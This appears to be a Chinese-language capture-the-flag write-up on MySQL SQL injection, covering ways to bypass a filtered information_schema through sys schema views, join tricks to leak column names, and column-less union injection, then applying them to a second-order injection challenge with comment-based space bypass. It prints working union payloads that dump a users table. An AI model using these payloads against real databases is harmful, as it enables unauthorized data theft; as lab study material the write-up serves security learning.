0x00 知識點
bypass information_schema
參考鏈接:
https://www.anquanke.com/post/id/193512
進行bypass之前先了解一下mysql中的information_schma這個庫是干嘛的,在SQL注入中它的作用是什么,那么有沒有可以替代這個庫的方法呢?
information_schema:
簡單來說,這個庫在mysql中就是個信息數據庫,它保存着mysql服務器所維護的所有其他數據庫的信息,包括了數據庫名,表名,字段名等。
在注入中,infromation_schema庫的作用無非就是可以獲取到table_schema,table_name,column_name這些數據庫內的信息。
MySQL5.7的新特性:
由於performance_schema過於發雜,所以mysql在5.7版本中新增了sys schemma,基礎數據來自於performance_chema和information_schema兩個庫,本身數據庫不存儲數據。
mysql默認是關閉InnoDB存儲引擎的
注入中在mysql默認情況下就可以替代information_schema庫的方法
schema_auto_increment_columns,該視圖的作用簡單來說就是用來對表自增ID的監控。
schema_auto_increment_columns視圖的作用,也可以發現我們可以通過該視圖獲取數據庫的表名信息
想通過注入獲取到沒有自增主鍵的表的數據怎么辦?
schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer
payload:
schema_auto_increment_columns
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
schema_table_statistics_with_buffer
?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
獲取字段名
獲取第一列的列名 ?id=-1' union all select*from (select * from users as a join users b)c--+
獲取次列及后續列名
?id=-1' union all select*from (select * from users as a join users b using(id,username))c--+
限制:
mysql ≥ 5.7版本
般要超級管理員才可以訪問sys
2:無列名注入
參考鏈接:
https://www.jianshu.com/p/6eba3370cfab
在 mysql => 5 的版本中存在庫information_schema,記錄着mysql中所有表的結構,通常,在mysql sqli中,我們會通過此庫中的表去獲取其他表的結構,即表名,列名等。但是這個庫也會經常被WAF過濾。當我們通過暴力破解獲取到表名后,該如何進行下一步利用呢?
在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,還有INNODB_TABLES及INNODB_COLUMNS中記錄着表結構。
正常查詢:

使用union查詢:

就可以繼續使用數字來對應列,如2對應了表里面的用戶名:

當 ` 不能使用的時候,使用別名來代替:
反單引號表示列名或者表名

在注入中查詢多個列:

語句
一般都是:
(select `2` from (select 1,2,3 union select * from table_name)a) //前提是要知道表名
((select c from (select 1,2,3 c union select * from users)b)) 1,2,3是因為users表有三列,實際情況還需要猜測表的列的數量
0x01解題
這是一個留言板的二次注入
登錄了之后在發布廣告處存在sql注入漏洞,我們輸入的內容在輸入后沒有漏洞,當我們發布廣告后查看廣告詳情的時候就造成了二次注入,從而產生了注入。
題目環境過濾了空格,我們使用/**/來進行繞過過濾了or,因此我們無法使用order by 以及information_schema這個庫因為過濾了注釋符,所以查詢語句的最后我們要閉合單引號
本題在但是比賽中
bypass information_schema
是利用的
sys.schema_auto_increment_columns 庫來進行查詢
導致網上很多wp都是這樣寫的。。
實際上本題無法使用
buuoj的平台沒有 sys.schema_auto_increment_columns 這個庫
而且一般要超級管理員才可以訪問sys
所以一般還可以用這個方法

在buuctf環境中這個也不行
還有一種方法:

前提是users表存在
但是這個方法也不行 ,polygon和lingstring被過濾
那么我們看似有多種解法,其實BUU環境下這個題目我們只能進行無列名注入
首先,我們先確定列數:
1'//union//select//1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/
接下來就逐一的增加或者是減少列數就行了,一個一個的試,最后發現列數有22列,顯示位在2,3位
注意,在無列名注入的時候 一定要和表的列數相同 不然會報錯 慢慢試。。最后發現users里有三列
我們是采用的子查詢的方式,子查詢是將一個查詢語句嵌套在另一個查詢語句中,在特定的情況下,一個查詢語句的條件需要另一個查詢語句來獲取,內層查詢語句的查詢結果,可以為外層查詢語句提供查詢條件。
這里我們將users這個表里面的查詢的結果提供給外部查詢,同時把列名轉換成a,b,這樣我們后面就直接查詢a,b列就可以獲得結果
-1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

直接查詢b列試試
-1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

